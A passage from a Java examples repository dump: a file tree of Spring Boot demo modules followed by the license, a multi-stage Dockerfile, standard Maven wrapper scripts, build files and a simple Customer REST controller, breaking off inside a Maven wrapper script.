├── .gitignore ├── LICENSE ├── README.md ├── renovate.json ├── spring-boot-docker-build ├── .gitignore ├── .mvn │ └── wrapper │ │ ├── maven-wrapper.jar │ │ └── maven-wrapper.properties ├── Dockerfile ├── mvnw ├── mvnw.cmd ├── pom.xml ├── settings.xml └── src │ └── main │ ├── java │ └── com │ │ └── pavelsklenar │ │ └── rest │ │ ├── RestApiClientAuthApplication.java │ │ ├── controller │ │ └── CustomerController.java │ │ └── pojo │ │ └── Customer.java │ └── resources │ └── application.properties ├── spring-rest-api-client-auth ├── .gitignore ├── .mvn │ └── wrapper │ │ ├── maven-wrapper.jar │ │ └── maven-wrapper.properties ├── mvnw ├── mvnw.cmd ├── pom.xml ├── src │ ├── main │ │ ├── java │ │ │ └── com │ │ │ │ └── pavelsklenar │ │ │ │ └── rest │ │ │ │ ├── RestApiClientAuthApplication.java │ │ │ │ ├── config │ │ │ │ └── SecurityConfig.java │ │ │ │ ├── controller │ │ │ │ └── CustomerController.java │ │ │ │ └── pojo │ │ │ │ └── Customer.java │ │ └── resources │ │ │ ├── application.properties │ │ │ ├── keyStore.p12 │ │ │ └── trustStore.jks │ └── test │ │ └── java │ │ └── com │ │ └── pavelsklenar │ │ └── rest │ │ └── RestApiClientAuthApplicationTests.java └── ssl │ ├── client │ ├── client_pavel.p12 │ ├── myPrivateKey.pem │ ├── pavel.crt │ └── request.csr │ └── server │ ├── keyStore.p12 │ ├── server.crt │ └── serverPrivateKey.pem ├── spring-rest-data-exploit ├── .gitignore ├── .mvn │ └── wrapper │ │ ├── maven-wrapper.jar │ │ └── maven-wrapper.properties ├── README.md ├── mvnw ├── mvnw.cmd ├── pom.xml └── src │ ├── main │ ├── java │ │ └── com │ │ │ └── pavelsklenar │ │ │ └── spring │ │ │ └── exploit │ │ │ └── example │ │ │ ├── SpringBreakCve20178046.java │ │ │ ├── SpringRestDataExploitExampleApplication.java │ │ │ ├── UserRepository.java │ │ │ └── WebsiteUser.java │ └── resources │ │ └── application.properties │ └── test │ └── java │ └── com │ └── pavelsklenar │ └── spring │ └── exploit │ └── example │ └── SpringRestDataExploitExampleApplicationTests.java ├── spring-security-radius-login ├── .gitignore ├── .mvn │ └── wrapper │ │ ├── maven-wrapper.jar │ │ └── maven-wrapper.properties ├── mvnw ├── mvnw.cmd ├── pom.xml └── src │ └── main │ ├── java │ ├── META-INF │ │ └── MANIFEST.MF │ └── com │ │ └── pavelsklenar │ │ └── radiuslogin │ │ ├── RadiusLoginApplication.java │ │ ├── authentication │ │ ├── NetworkAccessServer.java │ │ ├── RadiusAuthenticationProvider.java │ │ ├── RadiusServer.java │ │ └── RadiusUtil.java │ │ └── bootstrap │ │ ├── MvcConfig.java │ │ └── WebSecurityConfig.java │ ├── resources │ └── application.properties │ └── webapp │ └── WEB-INF │ └── pages │ ├── home.jsp │ └── login.jsp ├── spring-sftp-download-demo ├── .gitignore ├── .mvn │ └── wrapper │ │ ├── maven-wrapper.jar │ │ └── maven-wrapper.properties ├── mvnw ├── mvnw.cmd ├── pom.xml └── src │ ├── main │ ├── java │ │ └── com │ │ │ └── pavelsklenar │ │ │ ├── SftpConfig.java │ │ │ └── SpringSftpDownloadDemoApplication.java │ └── resources │ │ └── application.properties │ └── test │ ├── java │ └── com │ │ └── pavelsklenar │ │ ├── EmbeddedSftpServer.java │ │ └── SpringSftpDownloadDemoApplicationTests.java │ └── resources │ └── keys │ ├── sftp_rsa │ └── sftp_rsa.pub ├── spring-sftp-upload-demo ├── .gitignore ├── .mvn │ └── wrapper │ │ ├── maven-wrapper.jar │ │ └── maven-wrapper.properties ├── mvnw ├── mvnw.cmd ├── pom.xml └── src │ ├── main │ ├── java │ │ └── com │ │ │ └── pavelsklenar │ │ │ ├── SftpConfig.java │ │ │ └── SpringSftpUploadDemoApplication.java │ └── resources │ │ └── application.properties │ └── test │ ├── java │ └── com │ │ └── pavelsklenar │ │ ├── EmbeddedSftpServer.java │ │ └── SpringSftpUploadDemoApplicationTests.java │ └── resources │ └── keys │ ├── sftp_rsa │ └── sftp_rsa.pub ├── spring-shell-port-scanner ├── .gitignore ├── .mvn │ └── wrapper │ │ ├── maven-wrapper.jar │ │ └── maven-wrapper.properties ├── mvnw ├── mvnw.cmd ├── pom.xml └── src │ └── main │ ├── java │ └── com │ │ └── pavelsklenar │ │ └── portscanner │ │ ├── AsyncConfig.java │ │ ├── PortScannerApplication.java │ │ ├── ScannerCommand.java │ │ └── ScannerService.java │ └── resources │ └── application.properties └── spring-web-ssl-client-auth ├── .gitignore ├── .mvn └── wrapper │ ├── maven-wrapper.jar │ └── maven-wrapper.properties ├── mvnw ├── mvnw.cmd ├── pom.xml └── src ├── main ├── java │ └── com │ │ └── pavelsklenar │ │ └── sslclientauth │ │ └── SslClientAuthApplication.java └── resources │ └── application.properties └── test └── java └── com └── pavelsklenar └── sslclientauth └── SslClientAuthApplicationTests.java /.gitignore: -------------------------------------------------------------------------------- 1 | *.class 2 | 3 | # Mobile Tools for Java (J2ME) 4 | .mtj.tmp/ 5 | 6 | # Package Files # 7 | *.jar 8 | *.war 9 | *.ear 10 | 11 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 12 | hs_err_pid* 13 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 pajikos 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Java examples 2 | 3 | Working project examples 4 | -------------------------------------------------------------------------------- /renovate.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://docs.renovatebot.com/renovate-schema.json", 3 | "extends": [ 4 | "config:base" 5 | ] 6 | } 7 | -------------------------------------------------------------------------------- /spring-boot-docker-build/.gitignore: -------------------------------------------------------------------------------- 1 | /target/ 2 | !.mvn/wrapper/maven-wrapper.jar 3 | 4 | ### STS ### 5 | .apt_generated 6 | .classpath 7 | .factorypath 8 | .project 9 | .settings 10 | .springBeans 11 | .sts4-cache 12 | 13 | ### IntelliJ IDEA ### 14 | .idea 15 | *.iws 16 | *.iml 17 | *.ipr 18 | 19 | ### NetBeans ### 20 | /nbproject/private/ 21 | /build/ 22 | /nbbuild/ 23 | /dist/ 24 | /nbdist/ 25 | /.nb-gradle/ -------------------------------------------------------------------------------- /spring-boot-docker-build/.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pajikos/java-examples/4bde9ed4a66a15466d6a63c43f957e8118885e47/spring-boot-docker-build/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /spring-boot-docker-build/.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo1.maven.org/maven2/org/apache/maven/apache-maven/3.5.4/apache-maven-3.5.4-bin.zip 2 | -------------------------------------------------------------------------------- /spring-boot-docker-build/Dockerfile: -------------------------------------------------------------------------------- 1 | ### BUILD image 2 | FROM maven:3-jdk-11 as builder 3 | #Copy Custom Maven settings 4 | #COPY settings.xml /root/.m2/ 5 | # create app folder for sources 6 | RUN mkdir -p /build 7 | WORKDIR /build 8 | COPY pom.xml /build 9 | #Download all required dependencies into one layer 10 | RUN mvn -B dependency:resolve dependency:resolve-plugins 11 | #RUN mvn dependency:resolve-plugins 12 | #Copy source code 13 | COPY src /build/src 14 | # Build application 15 | RUN mvn package 16 | 17 | 18 | FROM openjdk:11.0.16-slim as runtime 19 | EXPOSE 8080 20 | #Set app home folder 21 | ENV APP_HOME /app 22 | #Possibility to set JVM options (https://www.oracle.com/technetwork/java/javase/tech/vmoptions-jsp-140102.html) 23 | ENV JAVA_OPTS="" 24 | 25 | #Create base app folder 26 | RUN mkdir $APP_HOME 27 | #Create folder to save configuration files 28 | RUN mkdir $APP_HOME/config 29 | #Create folder with application logs 30 | RUN mkdir $APP_HOME/log 31 | 32 | VOLUME $APP_HOME/log 33 | VOLUME $APP_HOME/config 34 | 35 | WORKDIR $APP_HOME 36 | #Copy executable jar file from the builder image 37 | COPY --from=builder /build/target/*.jar app.jar 38 | 39 | ENTRYPOINT [ "sh", "-c", "java $JAVA_OPTS -Djava.security.egd=file:/dev/./urandom -jar app.jar" ] 40 | #Second option using shell form: 41 | #ENTRYPOINT exec java $JAVA_OPTS -jar app.jar $0 $@ 42 | 43 | 44 | -------------------------------------------------------------------------------- /spring-boot-docker-build/mvnw: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # ---------------------------------------------------------------------------- 3 | # Licensed to the Apache Software Foundation (ASF) under one 4 | # or more contributor license agreements. See the NOTICE file 5 | # distributed with this work for additional information 6 | # regarding copyright ownership. The ASF licenses this file 7 | # to you under the Apache License, Version 2.0 (the 8 | # "License"); you may not use this file except in compliance 9 | # with the License. You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, 14 | # software distributed under the License is distributed on an 15 | # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 16 | # KIND, either express or implied. See the License for the 17 | # specific language governing permissions and limitations 18 | # under the License. 19 | # ---------------------------------------------------------------------------- 20 | 21 | # ---------------------------------------------------------------------------- 22 | # Maven2 Start Up Batch script 23 | # 24 | # Required ENV vars: 25 | # ------------------ 26 | # JAVA_HOME - location of a JDK home dir 27 | # 28 | # Optional ENV vars 29 | # ----------------- 30 | # M2_HOME - location of maven2's installed home dir 31 | # MAVEN_OPTS - parameters passed to the Java VM when running Maven 32 | # e.g. to debug Maven itself, use 33 | # set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 34 | # MAVEN_SKIP_RC - flag to disable loading of mavenrc files 35 | # ---------------------------------------------------------------------------- 36 | 37 | if [ -z "$MAVEN_SKIP_RC" ] ; then 38 | 39 | if [ -f /etc/mavenrc ] ; then 40 | . /etc/mavenrc 41 | fi 42 | 43 | if [ -f "$HOME/.mavenrc" ] ; then 44 | . "$HOME/.mavenrc" 45 | fi 46 | 47 | fi 48 | 49 | # OS specific support. $var _must_ be set to either true or false. 50 | cygwin=false; 51 | darwin=false; 52 | mingw=false 53 | case "`uname`" in 54 | CYGWIN*) cygwin=true ;; 55 | MINGW*) mingw=true;; 56 | Darwin*) darwin=true 57 | # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home 58 | # See https://developer.apple.com/library/mac/qa/qa1170/_index.html 59 | if [ -z "$JAVA_HOME" ]; then 60 | if [ -x "/usr/libexec/java_home" ]; then 61 | export JAVA_HOME="`/usr/libexec/java_home`" 62 | else 63 | export JAVA_HOME="/Library/Java/Home" 64 | fi 65 | fi 66 | ;; 67 | esac 68 | 69 | if [ -z "$JAVA_HOME" ] ; then 70 | if [ -r /etc/gentoo-release ] ; then 71 | JAVA_HOME=`java-config --jre-home` 72 | fi 73 | fi 74 | 75 | if [ -z "$M2_HOME" ] ; then 76 | ## resolve links - $0 may be a link to maven's home 77 | PRG="$0" 78 | 79 | # need this for relative symlinks 80 | while [ -h "$PRG" ] ; do 81 | ls=`ls -ld "$PRG"` 82 | link=`expr "$ls" : '.*-> \(.*\)$'` 83 | if expr "$link" : '/.*' > /dev/null; then 84 | PRG="$link" 85 | else 86 | PRG="`dirname "$PRG"`/$link" 87 | fi 88 | done 89 | 90 | saveddir=`pwd` 91 | 92 | M2_HOME=`dirname "$PRG"`/.. 93 | 94 | # make it fully qualified 95 | M2_HOME=`cd "$M2_HOME" && pwd` 96 | 97 | cd "$saveddir" 98 | # echo Using m2 at $M2_HOME 99 | fi 100 | 101 | # For Cygwin, ensure paths are in UNIX format before anything is touched 102 | if $cygwin ; then 103 | [ -n "$M2_HOME" ] && 104 | M2_HOME=`cygpath --unix "$M2_HOME"` 105 | [ -n "$JAVA_HOME" ] && 106 | JAVA_HOME=`cygpath --unix "$JAVA_HOME"` 107 | [ -n "$CLASSPATH" ] && 108 | CLASSPATH=`cygpath --path --unix "$CLASSPATH"` 109 | fi 110 | 111 | # For Migwn, ensure paths are in UNIX format before anything is touched 112 | if $mingw ; then 113 | [ -n "$M2_HOME" ] && 114 | M2_HOME="`(cd "$M2_HOME"; pwd)`" 115 | [ -n "$JAVA_HOME" ] && 116 | JAVA_HOME="`(cd "$JAVA_HOME"; pwd)`" 117 | # TODO classpath? 118 | fi 119 | 120 | if [ -z "$JAVA_HOME" ]; then 121 | javaExecutable="`which javac`" 122 | if [ -n "$javaExecutable" ] && ! [ "`expr \"$javaExecutable\" : '\([^ ]*\)'`" = "no" ]; then 123 | # readlink(1) is not available as standard on Solaris 10. 124 | readLink=`which readlink` 125 | if [ ! `expr "$readLink" : '\([^ ]*\)'` = "no" ]; then 126 | if $darwin ; then 127 | javaHome="`dirname \"$javaExecutable\"`" 128 | javaExecutable="`cd \"$javaHome\" && pwd -P`/javac" 129 | else 130 | javaExecutable="`readlink -f \"$javaExecutable\"`" 131 | fi 132 | javaHome="`dirname \"$javaExecutable\"`" 133 | javaHome=`expr "$javaHome" : '\(.*\)/bin'` 134 | JAVA_HOME="$javaHome" 135 | export JAVA_HOME 136 | fi 137 | fi 138 | fi 139 | 140 | if [ -z "$JAVACMD" ] ; then 141 | if [ -n "$JAVA_HOME" ] ; then 142 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 143 | # IBM's JDK on AIX uses strange locations for the executables 144 | JAVACMD="$JAVA_HOME/jre/sh/java" 145 | else 146 | JAVACMD="$JAVA_HOME/bin/java" 147 | fi 148 | else 149 | JAVACMD="`which java`" 150 | fi 151 | fi 152 | 153 | if [ ! -x "$JAVACMD" ] ; then 154 | echo "Error: JAVA_HOME is not defined correctly." >&2 155 | echo " We cannot execute $JAVACMD" >&2 156 | exit 1 157 | fi 158 | 159 | if [ -z "$JAVA_HOME" ] ; then 160 | echo "Warning: JAVA_HOME environment variable is not set." 161 | fi 162 | 163 | CLASSWORLDS_LAUNCHER=org.codehaus.plexus.classworlds.launcher.Launcher 164 | 165 | # traverses directory structure from process work directory to filesystem root 166 | # first directory with .mvn subdirectory is considered project base directory 167 | find_maven_basedir() { 168 | 169 | if [ -z "$1" ] 170 | then 171 | echo "Path not specified to find_maven_basedir" 172 | return 1 173 | fi 174 | 175 | basedir="$1" 176 | wdir="$1" 177 | while [ "$wdir" != '/' ] ; do 178 | if [ -d "$wdir"/.mvn ] ; then 179 | basedir=$wdir 180 | break 181 | fi 182 | # workaround for JBEAP-8937 (on Solaris 10/Sparc) 183 | if [ -d "${wdir}" ]; then 184 | wdir=`cd "$wdir/.."; pwd` 185 | fi 186 | # end of workaround 187 | done 188 | echo "${basedir}" 189 | } 190 | 191 | # concatenates all lines of a file 192 | concat_lines() { 193 | if [ -f "$1" ]; then 194 | echo "$(tr -s '\n' ' ' < "$1")" 195 | fi 196 | } 197 | 198 | BASE_DIR=`find_maven_basedir "$(pwd)"` 199 | if [ -z "$BASE_DIR" ]; then 200 | exit 1; 201 | fi 202 | 203 | export MAVEN_PROJECTBASEDIR=${MAVEN_BASEDIR:-"$BASE_DIR"} 204 | echo $MAVEN_PROJECTBASEDIR 205 | MAVEN_OPTS="$(concat_lines "$MAVEN_PROJECTBASEDIR/.mvn/jvm.config") $MAVEN_OPTS" 206 | 207 | # For Cygwin, switch paths to Windows format before running java 208 | if $cygwin; then 209 | [ -n "$M2_HOME" ] && 210 | M2_HOME=`cygpath --path --windows "$M2_HOME"` 211 | [ -n "$JAVA_HOME" ] && 212 | JAVA_HOME=`cygpath --path --windows "$JAVA_HOME"` 213 | [ -n "$CLASSPATH" ] && 214 | CLASSPATH=`cygpath --path --windows "$CLASSPATH"` 215 | [ -n "$MAVEN_PROJECTBASEDIR" ] && 216 | MAVEN_PROJECTBASEDIR=`cygpath --path --windows "$MAVEN_PROJECTBASEDIR"` 217 | fi 218 | 219 | WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 220 | 221 | exec "$JAVACMD" \ 222 | $MAVEN_OPTS \ 223 | -classpath "$MAVEN_PROJECTBASEDIR/.mvn/wrapper/maven-wrapper.jar" \ 224 | "-Dmaven.home=${M2_HOME}" "-Dmaven.multiModuleProjectDirectory=${MAVEN_PROJECTBASEDIR}" \ 225 | ${WRAPPER_LAUNCHER} $MAVEN_CONFIG "$@" 226 | -------------------------------------------------------------------------------- /spring-boot-docker-build/mvnw.cmd: -------------------------------------------------------------------------------- 1 | @REM ---------------------------------------------------------------------------- 2 | @REM Licensed to the Apache Software Foundation (ASF) under one 3 | @REM or more contributor license agreements. See the NOTICE file 4 | @REM distributed with this work for additional information 5 | @REM regarding copyright ownership. The ASF licenses this file 6 | @REM to you under the Apache License, Version 2.0 (the 7 | @REM "License"); you may not use this file except in compliance 8 | @REM with the License. You may obtain a copy of the License at 9 | @REM 10 | @REM http://www.apache.org/licenses/LICENSE-2.0 11 | @REM 12 | @REM Unless required by applicable law or agreed to in writing, 13 | @REM software distributed under the License is distributed on an 14 | @REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | @REM KIND, either express or implied. See the License for the 16 | @REM specific language governing permissions and limitations 17 | @REM under the License. 18 | @REM ---------------------------------------------------------------------------- 19 | 20 | @REM ---------------------------------------------------------------------------- 21 | @REM Maven2 Start Up Batch script 22 | @REM 23 | @REM Required ENV vars: 24 | @REM JAVA_HOME - location of a JDK home dir 25 | @REM 26 | @REM Optional ENV vars 27 | @REM M2_HOME - location of maven2's installed home dir 28 | @REM MAVEN_BATCH_ECHO - set to 'on' to enable the echoing of the batch commands 29 | @REM MAVEN_BATCH_PAUSE - set to 'on' to wait for a key stroke before ending 30 | @REM MAVEN_OPTS - parameters passed to the Java VM when running Maven 31 | @REM e.g. to debug Maven itself, use 32 | @REM set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 33 | @REM MAVEN_SKIP_RC - flag to disable loading of mavenrc files 34 | @REM ---------------------------------------------------------------------------- 35 | 36 | @REM Begin all REM lines with '@' in case MAVEN_BATCH_ECHO is 'on' 37 | @echo off 38 | @REM enable echoing my setting MAVEN_BATCH_ECHO to 'on' 39 | @if "%MAVEN_BATCH_ECHO%" == "on" echo %MAVEN_BATCH_ECHO% 40 | 41 | @REM set %HOME% to equivalent of $HOME 42 | if "%HOME%" == "" (set "HOME=%HOMEDRIVE%%HOMEPATH%") 43 | 44 | @REM Execute a user defined script before this one 45 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPre 46 | @REM check for pre script, once with legacy .bat ending and once with .cmd ending 47 | if exist "%HOME%\mavenrc_pre.bat" call "%HOME%\mavenrc_pre.bat" 48 | if exist "%HOME%\mavenrc_pre.cmd" call "%HOME%\mavenrc_pre.cmd" 49 | :skipRcPre 50 | 51 | @setlocal 52 | 53 | set ERROR_CODE=0 54 | 55 | @REM To isolate internal variables from possible post scripts, we use another setlocal 56 | @setlocal 57 | 58 | @REM ==== START VALIDATION ==== 59 | if not "%JAVA_HOME%" == "" goto OkJHome 60 | 61 | echo. 62 | echo Error: JAVA_HOME not found in your environment. >&2 63 | echo Please set the JAVA_HOME variable in your environment to match the >&2 64 | echo location of your Java installation. >&2 65 | echo. 66 | goto error 67 | 68 | :OkJHome 69 | if exist "%JAVA_HOME%\bin\java.exe" goto init 70 | 71 | echo. 72 | echo Error: JAVA_HOME is set to an invalid directory. >&2 73 | echo JAVA_HOME = "%JAVA_HOME%" >&2 74 | echo Please set the JAVA_HOME variable in your environment to match the >&2 75 | echo location of your Java installation. >&2 76 | echo. 77 | goto error 78 | 79 | @REM ==== END VALIDATION ==== 80 | 81 | :init 82 | 83 | @REM Find the project base dir, i.e. the directory that contains the folder ".mvn". 84 | @REM Fallback to current working directory if not found. 85 | 86 | set MAVEN_PROJECTBASEDIR=%MAVEN_BASEDIR% 87 | IF NOT "%MAVEN_PROJECTBASEDIR%"=="" goto endDetectBaseDir 88 | 89 | set EXEC_DIR=%CD% 90 | set WDIR=%EXEC_DIR% 91 | :findBaseDir 92 | IF EXIST "%WDIR%"\.mvn goto baseDirFound 93 | cd .. 94 | IF "%WDIR%"=="%CD%" goto baseDirNotFound 95 | set WDIR=%CD% 96 | goto findBaseDir 97 | 98 | :baseDirFound 99 | set MAVEN_PROJECTBASEDIR=%WDIR% 100 | cd "%EXEC_DIR%" 101 | goto endDetectBaseDir 102 | 103 | :baseDirNotFound 104 | set MAVEN_PROJECTBASEDIR=%EXEC_DIR% 105 | cd "%EXEC_DIR%" 106 | 107 | :endDetectBaseDir 108 | 109 | IF NOT EXIST "%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config" goto endReadAdditionalConfig 110 | 111 | @setlocal EnableExtensions EnableDelayedExpansion 112 | for /F "usebackq delims=" %%a in ("%MAVEN_PROJECTBASEDIR%\.mvn\jvm.config") do set JVM_CONFIG_MAVEN_PROPS=!JVM_CONFIG_MAVEN_PROPS! %%a 113 | @endlocal & set JVM_CONFIG_MAVEN_PROPS=%JVM_CONFIG_MAVEN_PROPS% 114 | 115 | :endReadAdditionalConfig 116 | 117 | SET MAVEN_JAVA_EXE="%JAVA_HOME%\bin\java.exe" 118 | 119 | set WRAPPER_JAR="%MAVEN_PROJECTBASEDIR%\.mvn\wrapper\maven-wrapper.jar" 120 | set WRAPPER_LAUNCHER=org.apache.maven.wrapper.MavenWrapperMain 121 | 122 | %MAVEN_JAVA_EXE% %JVM_CONFIG_MAVEN_PROPS% %MAVEN_OPTS% %MAVEN_DEBUG_OPTS% -classpath %WRAPPER_JAR% "-Dmaven.multiModuleProjectDirectory=%MAVEN_PROJECTBASEDIR%" %WRAPPER_LAUNCHER% %MAVEN_CONFIG% %* 123 | if ERRORLEVEL 1 goto error 124 | goto end 125 | 126 | :error 127 | set ERROR_CODE=1 128 | 129 | :end 130 | @endlocal & set ERROR_CODE=%ERROR_CODE% 131 | 132 | if not "%MAVEN_SKIP_RC%" == "" goto skipRcPost 133 | @REM check for post script, once with legacy .bat ending and once with .cmd ending 134 | if exist "%HOME%\mavenrc_post.bat" call "%HOME%\mavenrc_post.bat" 135 | if exist "%HOME%\mavenrc_post.cmd" call "%HOME%\mavenrc_post.cmd" 136 | :skipRcPost 137 | 138 | @REM pause the script if MAVEN_BATCH_PAUSE is set to 'on' 139 | if "%MAVEN_BATCH_PAUSE%" == "on" pause 140 | 141 | if "%MAVEN_TERMINATE_CMD%" == "on" exit %ERROR_CODE% 142 | 143 | exit /B %ERROR_CODE% 144 | -------------------------------------------------------------------------------- /spring-boot-docker-build/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 4.0.0 5 | 6 | com.pavelsklenar 7 | spring-boot-docker-build 8 | 0.0.1-SNAPSHOT 9 | jar 10 | Demo project for Spring Boot 11 | 12 | 13 | org.springframework.boot 14 | spring-boot-starter-parent 15 | 2.1.1.RELEASE 16 | 17 | 18 | 19 | 20 | UTF-8 21 | UTF-8 22 | 1.8 23 | 24 | 25 | 26 | 27 | org.springframework.boot 28 | spring-boot-starter-web 29 | 30 | 31 | 32 | 33 | boot-demo 34 | 35 | 36 | org.springframework.boot 37 | spring-boot-maven-plugin 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | -------------------------------------------------------------------------------- /spring-boot-docker-build/settings.xml: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 | artifactory 8 | * 9 | http://[host]:[port]/artifactory/[virtual repository] 10 | Artifactory 11 | 12 | 13 | -------------------------------------------------------------------------------- /spring-boot-docker-build/src/main/java/com/pavelsklenar/rest/RestApiClientAuthApplication.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.rest; 2 | 3 | 4 | import org.springframework.boot.SpringApplication; 5 | import org.springframework.boot.autoconfigure.SpringBootApplication; 6 | 7 | @SpringBootApplication 8 | public class RestApiClientAuthApplication { 9 | 10 | public static void main(String[] args) { 11 | SpringApplication.run(RestApiClientAuthApplication.class, args); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /spring-boot-docker-build/src/main/java/com/pavelsklenar/rest/controller/CustomerController.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.rest.controller; 2 | 3 | import org.springframework.web.bind.annotation.GetMapping; 4 | import org.springframework.web.bind.annotation.PathVariable; 5 | import org.springframework.web.bind.annotation.RequestMapping; 6 | import org.springframework.web.bind.annotation.RestController; 7 | 8 | import com.pavelsklenar.rest.pojo.Customer; 9 | 10 | @RestController 11 | @RequestMapping("/customer") 12 | public class CustomerController { 13 | 14 | @GetMapping("/{id}") 15 | public Customer GetCustomer(@PathVariable Long id) { 16 | return new Customer(id, "Customer" + id); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /spring-boot-docker-build/src/main/java/com/pavelsklenar/rest/pojo/Customer.java: -------------------------------------------------------------------------------- 1 | package com.pavelsklenar.rest.pojo; 2 | 3 | public class Customer { 4 | 5 | private Long id; 6 | private String name; 7 | 8 | public Customer(Long id, String name) { 9 | this.id = id; 10 | this.name = name; 11 | } 12 | 13 | public Long getId() { 14 | return id; 15 | } 16 | 17 | public void setId(Long id) { 18 | this.id = id; 19 | } 20 | 21 | public String getName() { 22 | return name; 23 | } 24 | 25 | public void setName(String name) { 26 | this.name = name; 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /spring-boot-docker-build/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | logging.path=/app/log/ -------------------------------------------------------------------------------- /spring-rest-api-client-auth/.gitignore: -------------------------------------------------------------------------------- 1 | /target/ 2 | !.mvn/wrapper/maven-wrapper.jar 3 | 4 | ### STS ### 5 | .apt_generated 6 | .classpath 7 | .factorypath 8 | .project 9 | .settings 10 | .springBeans 11 | .sts4-cache 12 | 13 | ### IntelliJ IDEA ### 14 | .idea 15 | *.iws 16 | *.iml 17 | *.ipr 18 | 19 | ### NetBeans ### 20 | /nbproject/private/ 21 | /build/ 22 | /nbbuild/ 23 | /dist/ 24 | /nbdist/ 25 | /.nb-gradle/ -------------------------------------------------------------------------------- /spring-rest-api-client-auth/.mvn/wrapper/maven-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pajikos/java-examples/4bde9ed4a66a15466d6a63c43f957e8118885e47/spring-rest-api-client-auth/.mvn/wrapper/maven-wrapper.jar -------------------------------------------------------------------------------- /spring-rest-api-client-auth/.mvn/wrapper/maven-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionUrl=https://repo1.maven.org/maven2/org/apache/maven/apache-maven/3.5.4/apache-maven-3.5.4-bin.zip 2 | -------------------------------------------------------------------------------- /spring-rest-api-client-auth/mvnw: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # ---------------------------------------------------------------------------- 3 | # Licensed to the Apache Software Foundation (ASF) under one 4 | # or more contributor license agreements. See the NOTICE file 5 | # distributed with this work for additional information 6 | # regarding copyright ownership. The ASF licenses this file 7 | # to you under the Apache License, Version 2.0 (the 8 | # "License"); you may not use this file except in compliance 9 | # with the License. You may obtain a copy of the License at 10 | # 11 | # http://www.apache.org/licenses/LICENSE-2.0 12 | # 13 | # Unless required by applicable law or agreed to in writing, 14 | # software distributed under the License is distributed on an 15 | # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 16 | # KIND, either express or implied. See the License for the 17 | # specific language governing permissions and limitations 18 | # under the License. 19 | # ---------------------------------------------------------------------------- 20 | 21 | # ---------------------------------------------------------------------------- 22 | # Maven2 Start Up Batch script 23 | # 24 | # Required ENV vars: 25 | # ------------------ 26 | # JAVA_HOME - location of a JDK home dir 27 | # 28 | # Optional ENV vars 29 | # ----------------- 30 | # M2_HOME - location of maven2's installed home dir 31 | # MAVEN_OPTS - parameters passed to the Java VM when running Maven 32 | # e.g. to debug Maven itself, use 33 | # set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000 34 | # MAVEN_SKIP_RC - flag to disable loading of mavenrc files 35 | # ---------------------------------------------------------------------------- 36 | 37 | if [ -z "$MAVEN_SKIP_RC" ] ; then 38 | 39 | if [ -f /etc/mavenrc ] ; then 40 | . /etc/mavenrc 41 | fi 42 | 43 | if [ -f "$HOME/.mavenrc" ] ; then 44 | . "$HOME/.mavenrc" 45 | fi 46 | 47 | fi 48 | 49 | # OS specific support. $var _must_ be set to either true or false. 50 | cygwin=false; 51 | darwin=false; 52 | mingw=false 53 | case "`uname`" in 54 | CYGWIN*) cygwin=true ;; 55 | MINGW*) mingw=true;; 56 | Darwin*) darwin=true 57 | # Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home 58 | # See https://developer.apple.com/library/mac/qa/qa1170/_index.html 59 | if [ -z "$JAVA_HOME" ]; then 60 